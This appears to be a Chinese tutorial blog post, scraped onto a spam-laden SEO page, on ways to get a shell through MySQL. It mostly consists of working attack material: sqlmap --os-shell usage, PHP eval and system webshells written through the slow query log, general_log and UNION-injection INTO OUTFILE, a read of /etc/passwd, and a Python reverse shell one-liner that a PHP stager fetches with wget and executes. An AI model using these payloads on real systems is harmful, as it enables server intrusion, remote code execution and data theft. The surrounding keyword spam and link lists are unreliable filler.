当前位置: 首页 > wzjs >正文

纪实摄影网站推荐wordpress的html编辑器插件

纪实摄影网站推荐,wordpress的html编辑器插件,网页源代码搜索关键字,南京网站群建设公司mysql_getshell的几种方法 mysql_getshell 一、mysql的–os-shell 利用原理 –os-shell就是使用udf提权获取WebShell。也是通过into oufile向服务器写入两个文件,一个可以直接执行系统命令,一个进行上传文件。此为sqlmap的一个命令,利用这…

mysql_getshell的几种方法

mysql_getshell

一、mysql的–os-shell

利用原理

–os-shell就是使用udf提权获取WebShell。也是通过into oufile向服务器写入两个文件,一个可以直接执行系统命令,一个进行上传文件。此为sqlmap的一个命令,利用这条命令的先决条件:

要求为数据库DBA,使用--is-dba查看当前网站连接的数据库账号是否为mysql user表中的管理员如root,是则为dbasecure_file_priv没有具体值知道网站的绝对路径

漏洞复现
–os-shell

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --os-shellwhich web application language does the web server support?
[1] ASP (default)
[2] ASPX
[3] JSP
[4] PHP
> 4
do you want sqlmap to further try to provoke the full path disclosure? [Y/n] y
[09:43:59] [WARNING] unable to automatically retrieve the web server document root
what do you want to use for writable directory?
[1] common location(s) ('C:/xampp/htdocs/, C:/wamp/www/, C:/Inetpub/wwwroot/') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
> 2
please provide a comma separate list of absolute directory paths: F:\phpstudy_pro\WWW
[09:44:36] [WARNING] unable to automatically parse any web server path
[09:44:36] [INFO] trying to upload the file stager on 'F:/phpstudy_pro/WWW/' via LIMIT 'LINES TERMINATED BY' method
[09:44:36] [INFO] the file stager has been successfully uploaded on 'F:/phpstudy_pro/WWW/' - http://127.0.0.1:80/tmpucfjt.php
[09:44:36] [INFO] the backdoor has been successfully uploaded on 'F:/phpstudy_pro/WWW/' - http://127.0.0.1:80/tmpbayce.php
sqlmap在指定的目录生成了两个文件(文件名是随机的,并不是固定的)-   tmpbayce.php 用来执行系统命令
-   tmpucfjt.php 用来上传文件
[09:44:36] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a]command standard output: 'ms-vnwaexpuvbab\administrator'

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

–sql-shell
我们可以先使用这个来执行一些sql语句
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --sql-shell

1、查看文件路径
select @@datadir;

2、查看secure_file_priv的值是否为空
select @@secure_file_priv;

返回结果如果有null,则无法写入。当为空的时候则什么都不返回
在这里插入图片描述

secure_file_prive:MySQL的secure-file-prive参数是用来限制LOAD DATA, SELECT ,OUTFILE, and LOAD_FILE()传到哪个指定目录的。
secure_file_prive= ,结果为空的话,表示允许任何文件读写
secure_file_prive=NULL,表示不允许任何文件读写
secure_file_prive=‘某个路径’,表示这个路径作为文件读写的路径
在mysql5.5版本前,都是默认为空,允许读取
在mysql5.6版本后,默认为NULL,并且无法用SQL语句对其进行修改。所以这种只能在配置进行修改

二、慢日志getshell

慢日志:一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。如果查询时间超过了这个时间值(默认为10秒),这个查询语句将被记录到慢查询日志中。
查看服务器默认时间值

show global variables like '%long_query_time%'
show global variables like '%long%'

在这里插入图片描述
在这里插入图片描述

查看慢日志参数

show global variables like ‘%slow%’
在这里插入图片描述

慢日志参数修改getshell

set global slow_query_log=1 		# 打开慢日志
set global slow_query_log_file='C:\\phpStudy\\WWW\\test.php'	# 慢日志的路径【注意:一定要用双反斜杠】
SELECT '<?php @eval($_POST[1]);?>' or sleep(11)		# 这儿11是超过慢日志的10秒时间# 测试
http://192.168.111.128/test.php

在这里插入图片描述
在这里插入图片描述

三、general_log来getshell

介绍说明

相关参数一共有3个:general_log、log_output、general_log_fileshow variables like 'general_log';   # 查看日志是否开启
set global general_log=on;   # 开启日志功能show variables like 'general_log_file';    # 看看日志文件保存位置
set global general_log_file='C:/phpStudy/WWW/shell.php';   # 设置日志文件保存位置show variables like 'log_output';  -- 看看日志输出类型  table或file
set global log_output='table'; -- 设置输出类型为 table
set global log_output='file';   -- 设置输出类型为file
一般log_output都是file,就是将日志存入文件中。table的话就是将日志存入数据库的日志表中。

漏洞复现

set global general_log='on';
set global general_log_file='C:/phpStudy/WWW/shell.php'
select '<?php @eval($_POST['pwd']);?>';# 测试
http://192.168.111.128/shell.php

在这里插入图片描述
在这里插入图片描述

四、into_outfile方法getshell

漏洞复现

email=admin'			    #(报错)
email=admin' #  			#(不报错)
email=admin' or '1' #		# 成功登入
email=admin' union select 1,2,3,4,5,6,7,8 #
email=admin' union select 1,2,3,4,5,6,7,8,9 #
email=admin' union select 1,2,3,database(),5,6,7,8 #
email=admin' union select 1,2,3,user(),5,6,7,8 #
email=admin' union select 1,2,3,@@version,5,6,7,8 #
email=admin' union select 1,2,3,group_concat(schema_name),5,6,7,8 from information_schema.schemata#
email=admin' union select 1,2,3,group_concat(table_name),5,6,7,8 from information_schema.tables where table_schema=database()#
email=admin' union select 1,2,3,group_concat(column_name),5,6,7,8 from information_schema.columns where table_schema=database() and table_name='users'#
email=admin' union select 1,2,3,group_concat(concat_ws(':',first_name,last_name,pass,email,pass)),5,6,7,8 from ch16.users#
admin@isints.com : killerbeesareflyingemail=admin' union select 1,2,3,load_file('/etc/passwd'),5,6,7,8 #
email=admin' union select 1,2,3,"<?php system($_POST['x']);?>",5,6,7,8 into outfile '/var/www/sqli_shell.php'#
email=admin' union select 1,2,3,load_file('/var/www/sqli_shell.php'),5,6,7,8 #

在这里插入图片描述
在这里插入图片描述
缺点

1、对web目录需要有写权限能够使用单引号(root)
2、知道网站绝对路径(phpinfo/php探针/通过报错等)
3、secure_file_priv为空

查看secure_file_priv参数,该参数是只读参数,不能使用set global命令修改,如果修改大概率会报错。

show global variables like '%secure%';

五、远程加载拿shell

# 准备脚本
//shell8888.py
export RHOST="10.10.10.128";export RPORT=8888;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'
//get8888.php
<?php system('cd /tmp;wget http://10.10.10.128:81/shell8888.py;chmod +x shell8888.py;./shell8888.py')?># sqlmap上传get8888.php
//上传shell
sqlmap -u 'http://10.10.10.100/login.php' --data='email=admin&pass=admin&submit=Login' --file-write='get8888.php' --file-dest='/var/www/get8888.php'# 本地开启监听
nc -lvvp 8888# 本地开启web下载服务
php -S 0:81# 浏览器远程访问加载get8888.php
http://10.10.10.100/shell8888.py

在这里插入图片描述

六、数据库备份getshell

网站对上传的文件后缀进行过滤,不允许上传脚本类型文件如asp/php/jsp/aspx等。

而网站具有数据库备份功能,这时我们就可以将webshell格式先改为允许上传的文件格式,如jpg、gif等,然后,我们找到上传后的文件路径,通过数据库备份,将文件备份为脚本格式。

获取网站根目录方式

(1)phpinfo()页面:最理想的情况,直接显示web路径
(2)web报错信息:可以通过各种fuzz尝试让目标报错,也有可能爆出绝对路径(单引号、参数报错)
(3)一些集成的web框架:如果目标站点是利用phpstudy、LAMPP等之类搭建的,可以猜测默认路径或者通过查看数据库保存的路径、配置文件路径等。
(4)搜索引擎、利用其他漏洞、中间件错误解析等

http://www.dtcms.com/wzjs/572706.html

相关文章:

  • 能支持微信公众号的网站建设垂直门户网站有哪些
  • 优化网站价格本溪网站制作
  • 网站抓取压力高wordpress自己写界面
  • 做网站要什么资质北京注册公司可以申请北京车牌吗
  • 福州网站建设方案外包有创意的设计工作室名字
  • 网站模板建设二级目录网站的底部设计
  • 钓鱼网站链接怎么做怎么自己开发小程序
  • 长沙口碑好网站建设企业免费引流推广怎么做
  • 四川省建设网站平台动易网站模板免费
  • 如何推销企业建设网站自己安装wordpress
  • 大学网站html模板怎么做自己的优惠券网站
  • 做门户网站用什么上海土地建设官方网站
  • 阀门网站建设爱站网
  • 建筑网站 国外ftp备份wordpress
  • 免费网站app软件原有网站已备案 怎么做接入
  • wordpress vue网站鲜花网站建设目的
  • 网站建设的基本原则赣州网站建设平台
  • 句容市建设局网站在线考试网站开发
  • 法律网址大全2345seo搜索优化试卷
  • 广东购物网站建设价格北京朝林建设集团网站
  • 页网站题库网站怎么做
  • 什么做网站统计好济南网络营销外包服务
  • 市场营销策略方案深圳专业seo优化公司
  • 个人做网站用哪个主机好免费做试卷的网站或试卷
  • 有源码怎么在本地网站搭建网站建设卖点
  • 手机网站如何做易语言做试用点击网站
  • 滕州市做淘宝网站的wordpress密码文章插件
  • 租赁模板建站 网站的名称归属智慧门店管理系统app
  • 网站建设经验介绍重庆市工程建设信息网2021
  • 网站建设方案申请报告wordpress 数据同步